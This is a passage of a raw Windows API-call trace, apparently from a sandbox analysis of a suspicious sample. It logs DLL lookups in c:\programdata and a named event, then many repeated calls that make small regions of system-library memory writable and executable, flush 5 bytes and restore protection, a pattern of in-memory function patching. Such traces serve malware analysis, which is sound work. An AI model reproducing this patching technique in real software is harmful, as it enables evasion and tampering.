ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="ucl.dll", cAlternateFileName="")) returned 0x7632b0 [0118.576] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.576] FindFirstFileW (in: lpFileName="c:\\programdata\\xdvl-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bfff90, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bfff90, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bfff90, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="xdvl-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.576] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.576] FindFirstFileW (in: lpFileName="c:\\programdata\\zlib1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13c026a0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x75b518, dwReserved1=0x758200, cFileName="zlib1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.576] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.576] GetCurrentThreadId () returned 0x1110 [0118.576] GetCurrentThreadId () returned 0x1110 [0118.576] GetCurrentThreadId () returned 0x1110 [0118.576] SetEvent (hEvent=0xd4) returned 1 [0118.576] GetCurrentProcessId () returned 0x1114 [0118.576] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="EVB_98116DAEE265E470_00001114") returned 0xf0 [0118.576] GetLastError () returned 0x0 [0118.576] GetCurrentProcess () returned 0xffffffff [0118.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.577] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f9d0, dwSize=0x5) returned 1 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9d0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773400a4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.577] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773400a4, dwSize=0x5) returned 1 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773400a4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.577] GetCurrentProcess () returned 0xffffffff [0118.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd54, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd54, dwSize=0x5) returned 1 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd54, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff94, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ff94, dwSize=0x5) returned 1 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff94, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.578] GetCurrentProcess () returned 0xffffffff [0118.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc40, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc40, dwSize=0x5) returned 1 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc40, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc70, dwSize=0x5) returned 1 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc70, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.579] GetCurrentProcess () returned 0xffffffff [0118.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8e0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.580] GetCurrentProcess () returned 0xffffffff [0118.580] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f8e0, dwSize=0x5) returned 1 [0118.580] GetCurrentProcess () returned 0xffffffff [0118.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8e0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.580] GetCurrentProcess () returned 0xffffffff [0118.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa00, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.632] GetCurrentProcess () returned 0xffffffff [0118.632] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fa00, dwSize=0x5) returned 1 [0118.632] GetCurrentProcess () returned 0xffffffff [0118.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fa00, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc28, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fc28, dwSize=0x5) returned 1 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fc28, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe4c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fe4c, dwSize=0x5) returned 1 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe4c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.633] GetCurrentProcess () returned 0xffffffff [0118.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340040, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.634] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340040, dwSize=0x5) returned 1 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340040, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734132c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.634] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7734132c, dwSize=0x5) returned 1 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7734132c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.634] GetCurrentProcess () returned 0xffffffff [0118.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f918, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f918, dwSize=0x5) returned 1 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f918, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8fc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f8fc, dwSize=0x5) returned 1 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f8fc, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.635] GetCurrentProcess () returned 0xffffffff [0118.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9e8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733f9e8, dwSize=0x5) returned 1 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733f9e8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd88, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fd88, dwSize=0x5) returned 1 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fd88, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.636] GetCurrentProcess () returned 0xffffffff [0118.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fdb8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fdb8, dwSize=0x5) returned 1 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fdb8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fe34, dwSize=0x5) returned 1 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fe34, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.637] GetCurrentProcess () returned 0xffffffff [0118.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409d4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x773409d4, dwSize=0x5) returned 1 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x773409d4, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e44, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340e44, dwSize=0x5) returned 1 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340e44, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341ea8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.638] GetCurrentProcess () returned 0xffffffff [0118.639] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341ea8, dwSize=0x5) returned 1 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341ea8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fca0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fca0, dwSize=0x5) returned 1 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fca0, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff7c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ff7c, dwSize=0x5) returned 1 [0118.639] GetCurrentProcess () returned 0xffffffff [0118.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ff7c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341c8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77341c8c, dwSize=0x5) returned 1 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77341c8c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77341000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340218, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340218, dwSize=0x5) returned 1 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340218, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.640] GetCurrentProcess () returned 0xffffffff [0118.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b0c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x77340b0c, dwSize=0x5) returned 1 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x77340b0c, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x77340000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffac, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733ffac, dwSize=0x5) returned 1 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733ffac, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x20, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x40) returned 0x0 [0118.641] GetCurrentProcess () returned 0xffffffff [0118.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x28f8e8*=0x7733fde8, NumberOfBytesToProtect=0x28f8ec, NewAccessProtection=0x40, OldAccessProtection=0x28f904 | out: BaseAddress=0x28f8e8*=0x7733f000, NumberOfBytesToProtect=0x28f8ec, OldAccessProtection=0x28f904*=0x20) returned 0x0 [0118.642] GetCurrentProcess () returned 0xffffffff [0118.642] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x7733fde8, 